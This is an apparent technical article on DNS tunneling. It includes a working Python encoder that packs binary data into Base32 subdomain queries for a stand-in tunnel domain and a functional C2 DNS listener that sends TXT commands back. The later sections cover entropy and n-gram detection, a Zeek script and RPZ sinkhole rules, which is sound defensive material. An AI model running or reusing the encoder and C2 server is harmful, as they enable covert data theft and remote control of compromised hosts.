How DNS Tunneling and Exfiltration Actually Work

+-------------------+      Query: 616263.seq01.tunnel.example.eu (A)
|  Infected Host    | -------------------------------------------------+
|  192.168.10.45    |                                                  |
+-------------------+                                                  v
                                                             +------------------+
                                                             | Local Resolver   |
                                                             | 192.168.10.2     |
                                                             +------------------+
                                                                       |
                                                                       | Recursive Lookup
                                                                       v
+-------------------+      Delegation to ns1.attacker.eu     +------------------+
| Root & TLD Server | <------------------------------------- | Corporate Upstream|
| (. & .eu)         |                                        | Resolver         |
+-------------------+                                        +------------------+
                                                                       |
                                                                       | Direct UDP 53 Query
                                                                       v
                                                             +------------------+
                                                             | Authoritative NS |
                                                             | 198.51.100.53    |
                                                             | (Attacker C2)    |
                                                             +------------------+

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      Transaction ID (16)                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|QR|   Opcode  |AA|TC|RD|RA|Z |AD|CD|RCODE|    QDCOUNT (16)       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          ANCOUNT (16)         |          NSCOUNT (16)         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          ARCOUNT (16)         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
| 6 | 6   1   6   2   6   3 | 5 | s   e   q   0   1 | ...
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                                               |
/                               NAME                            /
/                                                               /
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          TYPE (16)            |         CLASS (16)            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          TTL (32)                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       RDLENGTH (16)           |                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               /
/                               RDATA                           /
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

+--+--+-------------------------+
| 1  1|   Offset (14 bits)      |
+--+--+-------------------------+

#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <arpa/inet.h>
 
#define MAX_DNS_PACKET 512
 
typedef struct __attribute__((packed)) {
    uint16_t id;
    uint16_t flags;
    uint16_t qdcount;
    uint16_t ancount;
    uint16_t nscount;
    uint16_t arcount;
} dns_header_t;
 
int parse_qname(const uint8_t *buffer, size_t buf_len, size_t *offset, char *qname_out, size_t max_out) {
    size_t pos = *offset;
    size_t out_pos = 0;
    int jumped = 0;
    size_t initial_pos = pos;
    int jumps_count = 0;
 
    while (pos < buf_len) {
        uint8_t len = buffer[pos];
        
        if (len == 0) {
            if (!jumped) *offset = pos + 1;
            break;
        }
 
        // Pointer compression check (bits 11xxxxxx)
        if ((len & 0xC0) == 0xC0) {
            if (pos + 1 >= buf_len) return -1;
            uint16_t ptr_offset = ((len & 0x3F) << 8) | buffer[pos + 1];
            if (ptr_offset >= buf_len) return -1;
            if (!jumped) *offset = pos + 2;
            pos = ptr_offset;
            jumped = 1;
            if (++jumps_count > 10) return -1; // Circular pointer protection
            continue;
        }
 
        pos++;
        if (pos + len > buf_len || out_pos + len + 1 >= max_out) return -1;
 
        if (out_pos > 0) qname_out[out_pos++] = '.';
        memcpy(&qname_out[out_pos], &buffer[pos], len);
        out_pos += len;
        pos += len;
    }
 
    qname_out[out_pos] = '\0';
    return 0;
}
 
void process_covert_dns_query(const uint8_t *raw_packet, size_t length) {
    if (length < sizeof(dns_header_t)) return;
 
    dns_header_t hdr;
    memcpy(&hdr, raw_packet, sizeof(dns_header_t));
 
    uint16_t id = ntohs(hdr.id);
    uint16_t flags = ntohs(hdr.flags);
    uint16_t qdcount = ntohs(hdr.qdcount);
 
    uint8_t qr = (flags >> 15) & 0x01;
    uint8_t opcode = (flags >> 11) & 0x0F;
    uint8_t rd = (flags >> 8) & 0x01;
 
    printf("[+] Parsed DNS Packet: ID=0x%04X, QR=%d, Opcode=%d, RD=%d, Questions=%d\n",
           id, qr, opcode, rd, qdcount);
 
    size_t offset = sizeof(dns_header_t);
    char qname[256];
 
    for (int i = 0; i < qdcount; i++) {
        if (parse_qname(raw_packet, length, &offset, qname, sizeof(qname)) == 0) {
            if (offset + 4 <= length) {
                uint16_t qtype = (raw_packet[offset] << 8) | raw_packet[offset + 1];
                uint16_t qclass = (raw_packet[offset + 2] << 8) | raw_packet[offset + 3];
                offset += 4;
                printf("[>] Question %d: QNAME=%s TYPE=%d CLASS=%d\n", i + 1, qname, qtype, qclass);
            }
        }
    }
}

+-------------------+--------------------+------------------------+-------------------+
| Encoding Scheme   | Character Set      | Bits per Byte          | Expansion Factor  |
+-------------------+--------------------+------------------------+-------------------+
| Base16 (Hex)      | 0-9, a-f           | 4 bits / char          | 2.00 (100% growth)|
| Base32 (RFC 4648) | A-Z, 2-7           | 5 bits / char          | 1.60 (60% growth) |
| Base64 (Standard) | A-Z, a-z, 0-9, +/  | Invalid for DNS        | N/A               |
| Base64URL         | A-Z, a-z, 0-9, -_  | Unsafe (Case Folding)  | N/A               |
+-------------------+--------------------+------------------------+-------------------+

Index:  0 1 2 ... 25 26 27 ... 31
Char:   A B C ...  Z  2  3 ...  7

[session_id].[seq_num].[flags].[payload_chunk_1].[payload_chunk_2].[parent_domain]

a4f1.002b.01.mjswk4tbm5xw63be.nsvxgltdn5xa.tunnel.example.eu

import base64
import struct
 
def frame_binary_payload(data: bytes, session_id: int, start_seq: int, domain: str) -> list[str]:
    """
    Encodes raw binary data into a series of FQDN strings compliant with RFC 1035.
    """
    MAX_LABEL_LEN = 63
    MAX_FQDN_LEN = 253
    
    # Reserve space for parent domain, length prefixes, and null byte
    parent_len = len(domain) + 2  # plus prefix length byte and trailing null
    meta_template = f"{session_id:04x}.{{:04x}}.01."
    meta_len = len(meta_template.format(0))
    
    available_payload_bytes = MAX_FQDN_LEN - parent_len - meta_len
    
    # Base32 expands 5 raw bytes into 8 chars. Compute max raw bytes per FQDN.
    max_raw_per_query = (available_payload_bytes * 5) // 8
    
    queries = []
    seq = start_seq
    
    for i in range(0, len(data), max_raw_per_query):
        chunk = data[i:i + max_raw_per_query]
        
        # Base32 encode without padding '=' characters
        b32_str = base64.b32encode(chunk).decode('ascii').rstrip('=')
        
        # Split Base32 string into labels of max 63 chars
        labels = []
        for j in range(0, len(b32_str), MAX_LABEL_LEN):
            labels.append(b32_str[j:j + MAX_LABEL_LEN])
            
        payload_subdomain = ".".join(labels)
        header = meta_template.format(seq)
        
        fqdn = f"{header}{payload_subdomain}.{domain}"
        queries.append(fqdn.lower())
        seq += 1
        
    return queries
 
if __name__ == "__main__":
    sample_exfil = b"\x7fELF\x02\x01\x01\x00" + b"\x00" * 32 + b"\x03\x00\x3e\x00\x01\x00\x00\x00"
    domain_suffix = "tunnel.example.eu"
    
    generated_queries = frame_binary_payload(sample_exfil, session_id=0x1a2b, start_seq=1, domain=domain_suffix)
    for q in generated_queries:
        print(f"Query FQDN ({len(q)} bytes): {q}")

+-----------------------+                                  +-----------------------+
|  Client (Compromised) |                                  | Authoritative C2 Server|
+-----------------------+                                  +-----------------------+
            |                                                          |
            |  1. QNAME: poll.01a2.seq001.tunnel.example.eu (TXT)      |
            |--------------------------------------------------------->|
            |                                                          | (Reads QNAME,
            |                                                          |  enqueues downlink data)
            |  2. ANCOUNT=1, TXT RDATA: "01a2.0001.01.4d314352..."     |
            |<---------------------------------------------------------|
            |                                                          |

Client State Machine:
[ DISCONNECTED ] ---> Send Session Handshake ---> [ INIT_WAIT ]
                                                       |
                                            Handshake ACK Received
                                                       v
[ REASSEMBLING ] <--- Process TXT Downlink <--- [ POLLING_IDLE ]
       |                                               |
 Command Parsed                                 Outbound Data Queued
       v                                               v
[ EXECUTING ] ----> Send Execution Results ----> [ TRANSMITTING ]
 
Server State Machine:
[ LISTEN_IDLE ] ---> Parse Inbound QNAME ---> [ SESSION_LOOKUP ]
                                                      |
                                           Valid Session ID
                                                      v
[ FLUSH_QUEUE ] <--- Build TXT/NULL Answer <--- [ CHECK_DOWNLINK ]

import socket
import struct
 
def parse_dns_qname(data: bytes, offset: int = 12) -> tuple[str, int, int]:
    """
    Parses a length-prefixed QNAME string from raw DNS query bytes.
    Returns (qname_str, qtype, qclass).
    """
    labels = []
    curr = offset
    
    while True:
        length = data[curr]
        if length == 0:
            curr += 1
            break
        # Handle pointer compression if encountered
        if (length & 0xC0) == 0xC0:
            pointer = struct.unpack(">H", data[curr:curr+2])[0] & 0x3FFF
            sub_qname, _, _ = parse_dns_qname(data, pointer)
            labels.append(sub_qname)
            curr += 2
            break
        curr += 1
        labels.append(data[curr:curr+length].decode('ascii', errors='ignore'))
        curr += length
        
    qname = ".".join(labels)
    qtype, qclass = struct.unpack(">HH", data[curr:curr+4])
    return qname, qtype, qclass
 
def build_txt_response(raw_req: bytes, qname: str, txt_payload: str) -> bytes:
    """
    Constructs a raw DNS TXT response matching the request Transaction ID.
    """
    tx_id = raw_req[:2]
    flags = b"\x81\x80"  # Standard response, No error (RCODE=0), AA=1, RD=1, RA=1
    counts = struct.pack(">HHHH", 1, 1, 0, 0)  # QD=1, AN=1, NS=0, AR=0
    
    header = tx_id + flags + counts
    
    # Reconstruct Question Section
    question_parts = []
    for label in qname.split('.'):
        b_label = label.encode('ascii')
        question_parts.append(bytes([len(b_label)]) + b_label)
    question = b"".join(question_parts) + b"\x00" + struct.pack(">HH", 16, 1) # Type TXT, Class IN
    
    # Construct Answer Section pointing to QNAME via pointer offset 0x0C
    ans_name = b"\xc0\x0c"
    ans_type_class = struct.pack(">HHI", 16, 1, 0) # TXT, IN, TTL=0
    
    b_txt = txt_payload.encode('ascii')
    txt_str_len = bytes([len(b_txt)]) + b_txt
    rdata_len = struct.pack(">H", len(txt_str_len))
    
    answer = ans_name + ans_type_class + rdata_len + txt_str_len
    return header + question + answer
 
def run_c2_dns_listener(host: str = "0.0.0.0", port: int = 5353):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.bind((host, port))
    print(f"[+] Authoritative C2 DNS Server listening on {host}:{port}")
    
    session_state = {}
 
    while True:
        data, addr = sock.recvfrom(4096)
        try:
            qname, qtype, qclass = parse_dns_qname(data)
            print(f"[>] Query from {addr[0]}: QNAME={qname} TYPE={qtype}")
            
            # Extract exfiltrated labels if matching domain
            if "tunnel.example.eu" in qname:
                labels = qname.split(".")
                
                # Extract session and sequence metadata
                if len(labels) >= 5:
                    sess_id = labels[0]
                    seq_num = labels[1]
                    flag = labels[2]
                    
                    print(f"[*] Session={sess_id} Seq={seq_num} Flag={flag}")
                
                # Prepare downlink response matching sliding window state
                txt_downlink = "01a2.0001.01.EXEC_ACK"
                response_packet = build_txt_response(data, qname, txt_downlink)
                sock.sendto(response_packet, addr)
        except Exception as e:
            print(f"[-] Error processing packet: {e}")
 
if __name__ == "__main__":
    run_c2_dns_listener()

+-----------------------+                                  +-----------------------+
| Compromised Endpoint  |                                  | Internal / External   |
| (DoH Client Tunnel)   |                                  | DoH Resolver Endpoint |
+-----------------------+                                  +-----------------------+
            |                                                          |
            |  POST /dns-query HTTP/2                                  |
            |  Host: resolver.example.eu                               |
            |  Content-Type: application/dns-message                   |
            |  Payload: [Raw RFC 1035 Binary Query]                    |
            |--------------------------------------------------------->|
            |                                                          | (Decrypts TLS,
            |                                                          |  extracts wire query,
            |                                                          |  resolves upstream)
            |  HTTP/2 200 OK                                           |
            |  Content-Type: application/dns-message                   |
            |  Payload: [Raw RFC 1035 Binary TXT Response]             |
            |<---------------------------------------------------------|

+-----------------------+                                  +-----------------------+
|  Recursive Resolver   |                                  | Authoritative C2 Server|
+-----------------------+                                  +-----------------------+
            |                                                          |
            |  1. UDP Query: QNAME=data.tunnel.example.eu              |
            |--------------------------------------------------------->|
            |                                                          |
            |  2. UDP Response: TC=1 (Truncated, ANCOUNT=0)            |
            |<---------------------------------------------------------|
            |                                                          |
            |  3. TCP Connect to 198.51.100.53:53                       |
            |=========================================================>|
            |                                                          |
            |  4. TCP Length-Prefixed DNS Query & Full Response        |
            |=========================================================>|

+----------------+-----------------------------------+
| Length (16bit) | DNS Message Payload (RFC 1035)    |
+----------------+-----------------------------------+

import math
from collections import Counter
 
def calculate_shannon_entropy(label: str) -> float:
    """
    Calculates the Shannon Entropy of a domain label string.
    Returns float value representing bits of entropy per character.
    """
    if not label:
        return 0.0
        
    length = len(label)
    counts = Counter(label.lower())
    
    entropy = 0.0
    for count in counts.values():
        p = count / length
        entropy -= p * math.log2(p)
        
    return entropy
 
# Comparison
legit_label = "internal-mail-router"
encoded_label = "mzwk5b3en52xezltonswg4tfonza"
 
print(f"Legitimate Label Entropy: {calculate_shannon_entropy(legit_label):.4f}")
print(f"Base32 Tunnel Label Entropy: {calculate_shannon_entropy(encoded_label):.4f}")

import math
from collections import Counter
 
# Reference Bigram Probability Table (Truncated sample representing natural language domain patterns)
BIGRAM_PROBS = {
    ('e', 'r'): 0.045, ('i', 'n'): 0.038, ('t', 'h'): 0.035, ('a', 'n'): 0.032,
    ('r', 'e'): 0.030, ('o', 'n'): 0.028, ('a', 't'): 0.025, ('e', 'n'): 0.024,
    ('o', 'r'): 0.022, ('e', 's'): 0.020, ('s', 't'): 0.019, ('i', 't'): 0.018
}
 
DEFAULT_MIN_PROB = 0.0001
 
def calculate_ngram_score(label: str) -> float:
    label = label.lower()
    if len(label) < 2:
        return 0.0
    
    score = 0.0
    for i in range(len(label) - 1):
        pair = (label[i], label[i+1])
        prob = BIGRAM_PROBS.get(pair, DEFAULT_MIN_PROB)
        score += math.log2(prob)
        
    return score / (len(label) - 1)
 
def evaluate_dns_threat(fqdn: str, query_count_1h: int) -> dict:
    parts = fqdn.strip('.').split('.')
    if len(parts) < 2:
        return {"risk": "LOW", "score": 0.0}
        
    subdomain_label = parts[0]
    total_len = len(fqdn)
    
    # 1. Entropy Score
    counts = Counter(subdomain_label.lower())
    entropy = -sum((c / len(subdomain_label)) * math.log2(c / len(subdomain_label)) for c in counts.values()) if subdomain_label else 0.0
    
    # 2. N-Gram Score
    ngram_score = calculate_ngram_score(subdomain_label)
    
    # 3. Composite Threat Weighting
    risk_score = 0.0
    if entropy > 3.8: risk_score += 35.0
    if len(subdomain_label) > 35: risk_score += 25.0
    if ngram_score < -8.0: risk_score += 20.0
    if query_count_1h > 1000: risk_score += 20.0
    
    return {
        "fqdn": fqdn,
        "entropy": round(entropy, 4),
        "ngram_score": round(ngram_score, 4),
        "label_len": len(subdomain_label),
        "risk_score": risk_score,
        "classification": "HIGH_RISK_TUNNEL" if risk_score >= 60.0 else "BENIGN"
    }
 
if __name__ == "__main__":
    queries = [
        ("mail.corp.example.eu", 45),
        ("mzwk5b3en52xezltonswg4tfonza.seq001.tunnel.example.eu", 3400)
    ]
    
    for q, count in queries:
        res = evaluate_dns_threat(q, count)
        print(f"[+] Result for {q}:")
        print(f"    Classification: {res['classification']} (Score: {res['risk_score']}) | Entropy: {res['entropy']} | N-Gram: {res['ngram_score']}")

+---------------------------------+-------------------------+--------------------------+
| Telemetry Metric                | Normal Baseline         | Tunneling Anomaly        |
+---------------------------------+-------------------------+--------------------------+
| Subdomain Length Per FQDN       | 10 - 25 octets          | 180 - 245 octets         |
| Subdomain Count Per FQDN        | 1 - 3 labels            | 4 - 7 labels             |
| Unique Subdomains Per Parent    | 1 - 10 per day          | 5,000 - 100,000 per day  |
| TXT Record Response Size        | 50 - 200 octets         | 400 - 1,020 octets       |
| Total Query Rate Per Internal IP| 100 - 500 queries/hour  | 10,000+ queries/hour     |
+---------------------------------+-------------------------+--------------------------+

module DNSTunnelDetection;
 
export {
    redef enum Notice::Type += {
        DNS_Covert_Channel_Detected
    };
 
    # Threshold settings
    const MAX_AVERAGE_LABEL_LEN: double = 35.0;
    const MIN_ENTROPY_THRESHOLD: double = 3.8;
    const QUERY_COUNT_THRESHOLD: count = 200;
}
 
type DomainStats: record {
    query_count: count;
    total_label_bytes: count;
    high_entropy_count: count;
};
 
global domain_table: table[string] of DomainStats;
 
function calc_entropy(val: string): double
    {
    if ( |val| == 0 )
        return 0.0;
    
    local char_counts: table[string] of count;
    local len = |val|;
    local i = 0;
    
    while ( i < len )
        {
        local c = val[i];
        if ( c !in char_counts )
            char_counts[c] = 0;
        char_counts[c] += 1;
        i += 1;
        }
        
    local entropy: double = 0.0;
    for ( c in char_counts )
        {
        local p = count_to_double(char_counts[c]) / count_to_double(len);
        entropy = entropy - (p * (log2(p)));
        }
        
    return entropy;
    }
 
event dns_request(c: connection, msg: dns_msg, query: string, qtype: count, qclass: count)
    {
    if ( qtype != 1 && qtype != 16 ) # Focus on A and TXT queries
        return;
        
    local parts = split_string(query, /\./);
    local num_parts = |parts|;
    
    if ( num_parts < 3 )
        return;
        
    # Extract parent domain (last two labels: example.eu)
    local parent_domain = cat(parts[num_parts - 2], ".", parts[num_parts - 1]);
    local subdomain_label = parts[0];
    
    if ( parent_domain !in domain_table )
        {
        local init_stat: DomainStats = [$query_count=0, $total_label_bytes=0, $high_entropy_count=0];
        domain_table[parent_domain] = init_stat;
        }
        
    local stat = domain_table[parent_domain];
    stat$query_count += 1;
    stat$total_label_bytes += |subdomain_label|;
    
    local ent = calc_entropy(subdomain_label);
    if ( ent >= MIN_ENTROPY_THRESHOLD )
        stat$high_entropy_count += 1;
        
    # Trigger alert if statistical metrics indicate active tunneling
    if ( stat$query_count >= QUERY_COUNT_THRESHOLD )
        {
        local avg_len = count_to_double(stat$total_label_bytes) / count_to_double(stat$query_count);
        local entropy_ratio = count_to_double(stat$high_entropy_count) / count_to_double(stat$query_count);
        
        if ( avg_len > MAX_AVERAGE_LABEL_LEN && entropy_ratio > 0.70 )
            {
            NOTICE([$note=DNS_Covert_Channel_Detected,
                    $msg=fmt("High-probability DNS tunnel detected targeting parent domain %s. Avg label len: %.2f, High entropy ratio: %.2f", parent_domain, avg_len, entropy_ratio),
                    $conn=c]);
            # Reset counter to prevent flood alerts
            stat$query_count = 0;
            }
        }
    }

// named.conf snippet enforcing Response Policy Zones
options {
    directory "/var/named";
    response-policy { zone "rpz.blocked.internal"; };
};
 
zone "rpz.blocked.internal" {
    type master;
    file "/var/named/rpz.blocked.zone";
    allow-query { none; };
};

$TTL 60
@   IN  SOA localhost. root.localhost. ( 2026081001 3600 1800 604800 86400 )
    IN  NS  localhost.
 
; Rule 1: Sinkhole specific malicious parent domain
tunnel.example.eu        CNAME .
 
; Rule 2: Sinkhole any domain delegating to attacker authoritative nameserver
ns1.attacker.eu.rpz-nsdname CNAME .
 
; Rule 3: Sinkhole queries returning attacker IP ranges
53.100.51.198.rpz-ip     CNAME .